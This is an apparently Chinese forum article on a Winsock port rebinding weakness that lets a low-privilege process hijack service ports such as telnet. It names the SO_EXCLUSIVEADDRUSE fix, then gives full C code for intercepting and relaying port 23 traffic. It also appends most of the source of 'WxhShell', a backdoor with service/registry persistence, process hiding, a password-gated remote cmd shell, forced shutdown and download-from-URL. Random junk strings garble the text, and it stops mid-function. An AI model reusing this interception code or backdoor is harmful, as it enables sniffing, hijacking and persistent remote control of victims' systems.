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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6|:]2S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y/@.T\p W|kKH5E& saddr.sin_family = AF_INET; rj].bGQ,+ # nh;KlI0 saddr.sin_addr.s_addr = htonl(INADDR_ANY); q[SUYb;, U8KEg)Msk bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #zcnc$x\ [0e}%!%M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VXAgp6 C[O \aW 这意味着什么?意味着可以进行如下的攻击: P1
`-OM Gv}h/zu- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4RqOg1 DNaU
mz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7L:$Amb_F ;-d :!* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OC]_b36v 6!n%SUt 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 uNYHEs6%T$ )xQA+$H#4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [
Q6v #I 1vQj` F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [Hww3+~+ 7Jm9,4] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8W"~>7/>D eS
jXaZh #include *lIK?" mo #include f13%[RA9N #include d(L u|/~ #include *5#Y[c DWORD WINAPI ClientThread(LPVOID lpParam); ZIx,?E+eJ int main() _6
~/`_(KP { vxo iPqo WORD wVersionRequested; J,E'F!{ DWORD ret; h^5'i}@u WSADATA wsaData; xla9:*pPn BOOL val; toEmIa~o6 SOCKADDR_IN saddr; 'qhA4W9 SOCKADDR_IN scaddr; }cE,&n int err; k]"Rg2>% SOCKET s; ,g$N SOCKET sc; Ee##:I[z int caddsize; X] /r'Tz HANDLE mt; Au,}5=+`P DWORD tid; '@iS5Fni wVersionRequested = MAKEWORD( 2, 2 ); S0~F$mP' err = WSAStartup( wVersionRequested, &wsaData ); ;%#@vXH[Oo if ( err != 0 ) { Z;W`deA printf("error!WSAStartup failed!\n"); fmvv
q1G& return -1; ht S5<+Y } m(8t |~S saddr.sin_family = AF_INET; @fbB3 % ;2x.
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Nze#u; {q"l|Oe saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ge[+/$(1 saddr.sin_port = htons(23); S3Tww]q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d*T;RBk { ?/~7\ '|Z printf("error!socket failed!\n"); J+LFzl07q return -1; ]v 6u } cv0}_<Tyx val = TRUE; g/4.^c //SO_REUSEADDR选项就是可以实现端口重绑定的 K{HRjNda# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 81/Bn! { 2`l$uEI3oJ printf("error!setsockopt failed!\n"); F#Oqa^$( return -1; 1HBch]J } '@Y@H, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XWbe|K!e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /cr.}D2O //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }{S W~yW Mx-,:a9} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2ZB'WzH.X { -[x^z5Ee` ret=GetLastError(); _'dsEF printf("error!bind failed!\n"); Ne.W-,X^cL return -1; }yU,_: } _#e='~; listen(s,2); e4ajT while(1) {JzX`Z30l { &S<tX]v caddsize = sizeof(scaddr); Vr f` :% //接受连接请求 d;(L@9HHD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pP)0 l if(sc!=INVALID_SOCKET) /H,!7!6>? { ~y^#?; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U,+kV?Z if(mt==NULL) EZc!QrY { %"DEgIP printf("Thread Creat Failed!\n"); kkFE9:[-c& break; >OwVNG } S0g5Ym
ia } U^~K-!0 CloseHandle(mt); uyxU>yHV<g } 4fZ$&)0& closesocket(s); yc4mWB~gyU WSACleanup(); rGRxofi. return 0; v)+wr[Qs } z(3mhMJY DWORD WINAPI ClientThread(LPVOID lpParam) yGH'|` { ZqkP# ]+Y' SOCKET ss = (SOCKET)lpParam; JQE^ bcr SOCKET sc; .7Ys@;>B unsigned char buf[4096]; @=b0>^\m SOCKADDR_IN saddr; As1Er[> long num; aM3%Mx?w DWORD val; )AqM?FE4R DWORD ret; OtF{=7 //如果是隐藏端口应用的话,可以在此处加一些判断 r&xqsZ%R //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Z.:5<oEKg saddr.sin_family = AF_INET; Yk:fV &] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5}~*,_J2Z saddr.sin_port = htons(23); oFHVA!lqe if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9ToM5oQ { netKt_ printf("error!socket failed!\n"); HPCgv?E3 return -1; 7J,W#Ql)5 } {{[).o/ val = 100; ^QB/{9 # if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |RwD]2H { ,u{d@U^)3@ ret = GetLastError(); B8|=P&L7N return -1; RV^2[Gdi } 4G@vO{$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zY\v|l<T { ,ye>D=' ret = GetLastError(); %g0"Kj5 return -1; }`IN5NdYp } c$?qN&X_K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eP'e_E { Nt&}T printf("error!socket connect failed!\n"); R/b)h P~ closesocket(sc); I4
Tc&b closesocket(ss); \"_;rJ{!aE return -1; 5cxA,T } } ~=53$+ while(1) \Q*3/_}G { f&ZxG,]Hi //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3oxQ[.o //如果是嗅探内容的话,可以再此处进行内容分析和记录 X5qU>'?` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wv
,F>5P num = recv(ss,buf,4096,0); 5 &-fX:/ if(num>0) eOD;@4lR send(sc,buf,num,0); A,lcR:@w else if(num==0) QXq~e break; gO4J[_ num = recv(sc,buf,4096,0); X+P&
up06 if(num>0) p4W->AVv$ send(ss,buf,num,0); OWB^24Z&3 else if(num==0) *0l^/jqn: break; . ~G>vVb } h}z^NX closesocket(ss); T
{(6*^g<B closesocket(sc);
?O\n!c return 0 ; 6VQ*z8wLw } =35EG{W( 27t:-O z.]t_`KuF9 ========================================================== 05DK-Wh? >Bskw2 下边附上一个代码,,WXhSHELL -YA1Uk Kdx?s;i ========================================================== ,, ]y 8P 5p94b*l #include "stdafx.h" ilayU 5^GUuFt5m #include <stdio.h> H=Yl
@ #include <string.h> E} Uy- #include <windows.h> }/(fe`7: #include <winsock2.h> .4_EaQ;jX #include <winsvc.h> isDBNXV: #include <urlmon.h> 8\. # K^A\S #pragma comment (lib, "Ws2_32.lib") ',kYZay #pragma comment (lib, "urlmon.lib") Xn$]DE/r}N $62ospR^Y #define MAX_USER 100 // 最大客户端连接数 9j:?s;B #define BUF_SOCK 200 // sock buffer GZXUB0W\@) #define KEY_BUFF 255 // 输入 buffer l
K}('7\ L;fhJ~r #define REBOOT 0 // 重启
@5acTYQ #define SHUTDOWN 1 // 关机 l]T|QhiVd &Zd{ElM #define DEF_PORT 5000 // 监听端口 *@cXBav/< Z)62/`C) #define REG_LEN 16 // 注册表键长度 !ygh`]6V #define SVC_LEN 80 // NT服务名长度 ;|soc:aH 2B=yT8 // 从dll定义API [% |i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @]Iku 6d- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Rc0OEs%7P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *1ku2e]z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #kA/,qyM Sw%=/ g // wxhshell配置信息 SL pd~ZC? struct WSCFG { Z7K;~* int ws_port; // 监听端口 vs7Hg)F char ws_passstr[REG_LEN]; // 口令 <3O> int ws_autoins; // 安装标记, 1=yes 0=no mJ#u] tiL char ws_regname[REG_LEN]; // 注册表键名 _;v4]MU char ws_svcname[REG_LEN]; // 服务名 k/j]*~" char ws_svcdisp[SVC_LEN]; // 服务显示名 {]Nvq9? char ws_svcdesc[SVC_LEN]; // 服务描述信息 x}AWWmXv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y*vs}G'W int ws_downexe; // 下载执行标记, 1=yes 0=no ^Ml)g=Fq char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ;5PXPpJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ::9U5E;! +QtK
"5M }; ojT TYR{ `L]cJ0tAs // default Wxhshell configuration rzLpVpTaz struct WSCFG wscfg={DEF_PORT, Y71io^td~j "xuhuanlingzhe", *]W{83rXQ 1, &P&M6v+ "Wxhshell", Zh{Pzyp "Wxhshell", yJppPIW^ "WxhShell Service", -%5*c61 "Wrsky Windows CmdShell Service", (pREo/ T "Please Input Your Password: ", &h`s:Y 1, [Sg1\UTl " http://www.wrsky.com/wxhshell.exe", i0v;mc "Wxhshell.exe" 8JJqEkQ }; Fv.}w_ %gkRG66 // 消息定义模块 h-<('w:A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5^ARC^v char *msg_ws_prompt="\n\r? for help\n\r#>"; i`FevAx;[m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; FU;Tv). char *msg_ws_ext="\n\rExit."; wta\C{{ char *msg_ws_end="\n\rQuit."; ?Z.p.v char *msg_ws_boot="\n\rReboot..."; -3_-n*k! char *msg_ws_poff="\n\rShutdown..."; )0j^Fq5[+ char *msg_ws_down="\n\rSave to "; rs]%`"&= g&`e2|[7 char *msg_ws_err="\n\rErr!"; q$(aMO&J char *msg_ws_ok="\n\rOK!"; k9~NIvnB` [ZZ~^U5 char ExeFile[MAX_PATH]; (5cc{zKtR int nUser = 0; 8jMw7ti HANDLE handles[MAX_USER]; %qV=PC int OsIsNt; O B_g:T [v^T]L SERVICE_STATUS serviceStatus; CJz2.yd SERVICE_STATUS_HANDLE hServiceStatusHandle; zFN:C()ig mHM38T9C% // 函数声明 b" 1a7 int Install(void); r.lH@}i%n int Uninstall(void); p3&/F=T;) int DownloadFile(char *sURL, SOCKET wsh); `J'xVq#O int Boot(int flag); *l)_&p void HideProc(void); Zz!XH8sH int GetOsVer(void); O6pswMhAc int Wxhshell(SOCKET wsl); M56^p, void TalkWithClient(void *cs); ]e$mTRi* int CmdShell(SOCKET sock); ylUxK{ int StartFromService(void); fFMGpibkM int StartWxhshell(LPSTR lpCmdLine); -Ds}kdxw ='`z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y4_/G4C VOID WINAPI NTServiceHandler( DWORD fdwControl ); }TzMWdT .__XOd}K // 数据结构和表定义 EeIV6ug SERVICE_TABLE_ENTRY DispatchTable[] = )D{L<.i_ { b^~ keQ {wscfg.ws_svcname, NTServiceMain}, "_eHK#) {NULL, NULL} E/v.+m }; <4ccT l Q>8F&p?R // 自我安装 "9'~6b int Install(void) UOJx-o!c? { ",!#7h char svExeFile[MAX_PATH]; (dd+wx't HKEY key; 5=WzKM strcpy(svExeFile,ExeFile); !_ZknZTT 4zkn~oy // 如果是win9x系统,修改注册表设为自启动 %PRG;kR if(!OsIsNt) { (OwAhjHE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0"ksNnxK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;R|i@[(J RegCloseKey(key); X;lL$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9UsA>m. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x$Y44v'> RegCloseKey(key); t~U:Ea[gd return 0; sD H^l)4h } ROlef;/A } O-J;iX } } b`){f\#t else { K1>X%f^ ajC'C!"^Ty // 如果是NT以上系统,安装为系统服务 D99g} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R4"*<%1 if (schSCManager!=0) @}eEV[Lli { +;^UxW SC_HANDLE schService = CreateService `Fnl<C< ( t2skg schSCManager, !~Gx@Ro wscfg.ws_svcname, I@Pp[AyG wscfg.ws_svcdisp, -sO[,
SERVICE_ALL_ACCESS, K&Ner(/X`6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rah"La SERVICE_AUTO_START, Cuu yG8 SERVICE_ERROR_NORMAL, 3#N'nhUzA svExeFile, 1/X@~ NULL, r<VZEbm) NULL, Oxo?\
:T NULL, #hG0{_d7 NULL, C))5,aX NULL h
DpIwzJ ); 7=i8$v&GX if (schService!=0) YXz*B5R { 2;Vss<hR4A CloseServiceHandle(schService); ~e*3_l>9 CloseServiceHandle(schSCManager); =^8*]/k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ne<={u% strcat(svExeFile,wscfg.ws_svcname); x\PZ.o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %LyZaU_sB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <7'`N\a RegCloseKey(key); a%| I'r return 0; FvYgp bEZ } |osu4=s| } 0U|t@&q CloseServiceHandle(schSCManager); j/.$ (E } HYcLXh vgu } G>Fk
) <Qg).n>;z return 1; 8(-V pU } ffoL]u\ <A|X4; // 自我卸载 3y^PKIIrt int Uninstall(void) %Ms"LoK { H<_BnT# HKEY key; dbn9t7'{ L\0;)eJ#M if(!OsIsNt) { LLy w9y1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %+ln_lgD: RegDeleteValue(key,wscfg.ws_regname); ot\ FZ RegCloseKey(key); UWU(6J|Fk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q4u,pm,@ RegDeleteValue(key,wscfg.ws_regname); xgDd5`W RegCloseKey(key); 5OEo(& return 0; a8 X}r. } #IJm*_J< } 44Dytpvg }
Lk%`hsv else { CFE ubEb r<'ni SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G47(LE"2b if (schSCManager!=0) !8g419Yg { @*?)S{8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /my5s\;s|z if (schService!=0) 8;PS>9< { rA+UftC:p6 if(DeleteService(schService)!=0) { SEf RU` CloseServiceHandle(schService); nm"]q`(K CloseServiceHandle(schSCManager); uu7 ?,WT return 0; ),{v } r ^=rs!f@ CloseServiceHandle(schService); 7bV(eV } @jL](Mq|] CloseServiceHandle(schSCManager); l7h6R$7; 0 } vEy0DHEE } sNaLz I+oe{#:. return 1; iGq%|o> } FOPfob[ * 'eE[/K // 从指定url下载文件 &}'FC7} int DownloadFile(char *sURL, SOCKET wsh) $>JfLSyC { #|PPkg%v< HRESULT hr; 7MWd(n- char seps[]= "/"; J.EBt3 char *token; G]]"Jc char *file; n!aA< char myURL[MAX_PATH]; P"(VRc6x char myFILE[MAX_PATH]; 45.<eWH$*( }Q2v~eD strcpy(myURL,sURL); ,(u-q]8
token=strtok(myURL,seps); ]?<
wUd while(token!=NULL) U
g: { ?F6L, file=token; r` B(ucE token=strtok(NULL,seps); D`|8Og } $e~MKLd N#``(a GetCurrentDirectory(MAX_PATH,myFILE); noNJ+0S strcat(myFILE, "\\"); M)F_$
ICE- strcat(myFILE, file); c,2OICj send(wsh,myFILE,strlen(myFILE),0); tJG+k)EE send(wsh,"...",3,0); g6
H}a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mjQZ"h0 if(hr==S_OK) 6i+<0b}!/ return 0; ~dO+kD else gt(^9t; return 1; Pz^C3h$5_
b(IZ:ekZ5 } (himx8Uml2 <x8I<K // 系统电源模块 &4O2uEW0 int Boot(int flag) YpOcLxFL { iQJa6QF&: HANDLE hToken; # a`D6; TOKEN_PRIVILEGES tkp; M7[GwA[Z
+ .5" s[(S if(OsIsNt) { .FN;3HU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TU6(Q,Yi| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >'lv Zt tkp.PrivilegeCount = 1; $@D*/@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wBWqibY| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r|63T%q! if(flag==REBOOT) { HA J[Y3d< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sYq:2Wn>8Q return 0; yV~TfTJ } 3'Hz,qP else { +CVB[r#hu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M}!
qH.W return 0; n^q%_60H } qyBC1an5, } 'fs
tfk else { PNz]L if(flag==REBOOT) {
>akC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ur:8`+"
( return 0; ?f$U8A4lp } fikDpR else { g~ii^[W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d,b]#fj return 0; 1COSbi] } ih|;H:"^ } SiYH@Wma P L7(0b% return 1; QuP)j1"X } Z2L7US- MQQQaD:v // win9x进程隐藏模块 NEUr w/ void HideProc(void) e^<'H { gyQPQ;"H$2 2,Aw6h; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nQOzKw<j% if ( hKernel != NULL ) p+pu_T;~ { &mW7FR'( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `W >Sss ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TCFr-*x FreeLibrary(hKernel); (q0vql } \11+~ f|=u{6 return; QE8`nMf } .l hS ,1g_{dMx // 获取操作系统版本 ;"2VU" int GetOsVer(void) UT5xUv5' { mrq,kwM OSVERSIONINFO winfo; _s+G02/q1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OkAgO3>Y/ GetVersionEx(&winfo); ^D1gcI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }$'XV. return 1; GKbbwT0T| else ]61Si~Z return 0; _R(9O?;q } Yi]`"\ 5A$,'%d // 客户端句柄模块 OTGy[jY" int Wxhshell(SOCKET wsl) Zb&pH~ 7 { !g`I*ZE+e SOCKET wsh; lX-i <0` struct sockaddr_in client; q'/o=De DWORD myID; o%f:BJS n|pdYe8\ while(nUser<MAX_USER) *T#^|<.XG { oY5`r)C7 int nSize=sizeof(client); hj&~Dn( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z`YC3_d if(wsh==INVALID_SOCKET) return 1; 5*f54g"' mlCBstt{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L
}3eZ- if(handles[nUser]==0) }OhSCH'o6 closesocket(wsh); o<J6KTLv else _-sFJi8B nUser++; QFnpp\K } +*w}H
0Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &]Uo>Gb3!q MD*dq return 0; gTgoS:M"_O } ,2rfN"o h1"|$ // 关闭 socket 1hlU
6=Y void CloseIt(SOCKET wsh) MRw4?HqB { B;F~6i closesocket(wsh); :h |]j[2p nUser--; |V4<eF-0S ExitThread(0); $.t>* Bq } mBJr*_p D)pTE?@W' // 客户端请求句柄 >_xuXEslUz void TalkWithClient(void *cs) YF-A8gXS { dC8}Ttc} *`|xa@1v` SOCKET wsh=(SOCKET)cs; 3u/AqL char pwd[SVC_LEN]; !yVY[ char cmd[KEY_BUFF]; dA (n,@{ char chr[1]; z;dRzwL int i,j; -%]1q#C>@ .j &# while (nUser < MAX_USER) { jVLJqWP'! Xz)qtDN|( if(wscfg.ws_passstr) { <5mv8'{L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w3"L5;oH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Oi#`lC\ //ZeroMemory(pwd,KEY_BUFF); A)4XQF i=0; a$h^<D
^ while(i<SVC_LEN) { <YtjE!2 83I 5n&) // 设置超时 %k32:qe fd_set FdRead; AD^I1]2f struct timeval TimeOut; oPF]]Imu FD_ZERO(&FdRead); 5y 5Dn!` FD_SET(wsh,&FdRead); $|@vmv0 TimeOut.tv_sec=8; m(?{#aaq TimeOut.tv_usec=0; b1cVAfUP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <ShA_+Nd if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i7 21(1 $i6z)]rjg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G'p322Bu pwd =chr[0]; ~@Q]@8Tv\ if(chr[0]==0xd || chr[0]==0xa) { |dbKK\ X9 pwd=0; tK .1
* break; 8Z_ 4%vUBg } /gl8w-6 i++; 0^dYu/i5 } d@1^U9sf 5O d]rE // 如果是非法用户,关闭 socket p4MWX12 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,OubKcNg } KK #E
qJ Osm))Ua( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Eyjsbj8 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &^DVSVqs^ =EMB~i while(1) { f+hHc8g );VuZsmi ZeroMemory(cmd,KEY_BUFF); T]Ai{@i _K!.TM+9 // 自动支持客户端 telnet标准 &mmaoWR j=0; 5qW>#pTFVV while(j<KEY_BUFF) { t"YsIOT:O" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !OY}`a(z cmd[j]=chr[0]; tE{M if(chr[0]==0xa || chr[0]==0xd) { e2NK7 cmd[j]=0; v\4<6Z:4 break; <=&$+3r } Q8AAu&te7 j++; =#[oi3k } ;m#4Q6k)V? prN+{N8YC // 下载文件 Ikf[K%NKn if(strstr(cmd,"http://")) { w-#
f^# send(wsh,msg_ws_down,strlen(msg_ws_down),0); L;$>SLl, if(DownloadFile(cmd,wsh)) ?#xm6oe#aH send(wsh,msg_ws_err,strlen(msg_ws_err),0); &e:+;7 else abT,"a\h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =WW5H\? } $.,B2} ' else { hEu_mw# 0V>HoH switch(cmd[0]) { 5!fYTo|G> sAqy(oy#M // 帮助 T9w=k) case '?': { rG6G~|mS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); irD5;xk([ break; K _YOp1 } nL/]Q'(5 // 安装 1J/'R37lP case 'i': { $8UW^#Bpq if(Install()) kt)Et send(wsh,msg_ws_err,strlen(msg_ws_err),0); +sjzT[ Dn else l;@+=uVDHm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6{]F#ig= break; 0>7Ij7\[8 } ;J,(YNI
1 // 卸载 [UZr|F
case 'r': { rf%lhBv if(Uninstall()) Rh|9F yN send(wsh,msg_ws_err,strlen(msg_ws_err),0); "%Y=+ else c_*w<vJ-' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > B@ c74 break; >bze0`}Z } 0t^FM<7G // 显示 wxhshell 所在路径 dGBjV #bNT case 'p': { e~zgH\` char svExeFile[MAX_PATH]; `HQ)][ strcpy(svExeFile,"\n\r"); 4BCe;Q^6 strcat(svExeFile,ExeFile); eN,9N]K send(wsh,svExeFile,strlen(svExeFile),0); ga%\n!S break; O8$~dzf,2 } w=WF$)ZU // 重启 IUv#nB3 case 'b': { SK'h!Ye5Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "d$~}=a[ if(Boot(REBOOT)) ;un@E: send(wsh,msg_ws_err,strlen(msg_ws_err),0); z80P5^9 else { bc'IoD/ closesocket(wsh); N~8H\ ExitThread(0); }-Mg&~e` } d2#NRqgQ break; e7@ m i } ai sa2# // 关机 pvyEs|f=% case 'd': { oc( '!c send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WSH[*jMA if(Boot(SHUTDOWN)) FefroaJ:u send(wsh,msg_ws_err,strlen(msg_ws_err),0); H)D|lt5xy else { A|r3c?q closesocket(wsh); ]<\YEz&A ExitThread(0); Tt)z[^)% } 0<\|D^m=&h break; R#4l" } 1$vG Q // 获取shell OA3J(4!"W case 's': { MZ,1 mR CmdShell(wsh); b`#YJpA closesocket(wsh); ,7&\jET5^0 ExitThread(0); w!20 break; >[;@
[4} } z:#]P0 // 退出 05FGfnq.8 case 'x': { S"h;u=5it send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r$={_M$ CloseIt(wsh);
JFm@jc break; c}qpmW F } ZDFq=)0C // 离开 Qi`3$<W> case 'q': { [Xu8~c X send(wsh,msg_ws_end,strlen(msg_ws_end),0); <@.e.H closesocket(wsh); gA(npsUHI WSACleanup(); [_)`G*X(N exit(1); 6AAvsu: break; ;b0Q%TDh } U~:H> } hI86WP9* } F0U %m }MRgNr'k // 提示信息 >6o <Q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1z6aMd6. } Z\IM~- } y 9]d{:9
C{J5:ak return; ZxnPSA@% } 'lZlfS:Z8 ES+CAwqf // shell模块句柄 et
1HbX int CmdShell(SOCKET sock) kBR=a%kG { EE 1D>I STARTUPINFO si; A?lLK&* ZeroMemory(&si,sizeof(si)); _h-agn4[i si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3<r7"/5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,IPt4EH$ PROCESS_INFORMATION ProcessInfo; A`3KE9ED char cmdline[]="cmd"; '0+I' _( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ydzsJ+dx return 0; d*^JO4' } !
*sXLlS as:l1S // 自身启动模式 &}p\&4 int StartFromService(void) L}*o8l` { 71nZi`AR typedef struct D",L. { ]2@(^x'= DWORD ExitStatus; >`x|E-X" DWORD PebBaseAddress; qIZ+%ZOu DWORD AffinityMask; pWRdI_ DWORD BasePriority; !.j{vvQ/ ULONG UniqueProcessId; Qf=^CQ=lV ULONG InheritedFromUniqueProcessId; $vXY"-k } PROCESS_BASIC_INFORMATION; |D)CAQn, $\P/
%eP PROCNTQSIP NtQueryInformationProcess; _R\FB|_ ?C2(q6X+s static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,"`20.Lv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E D>7 5<(*
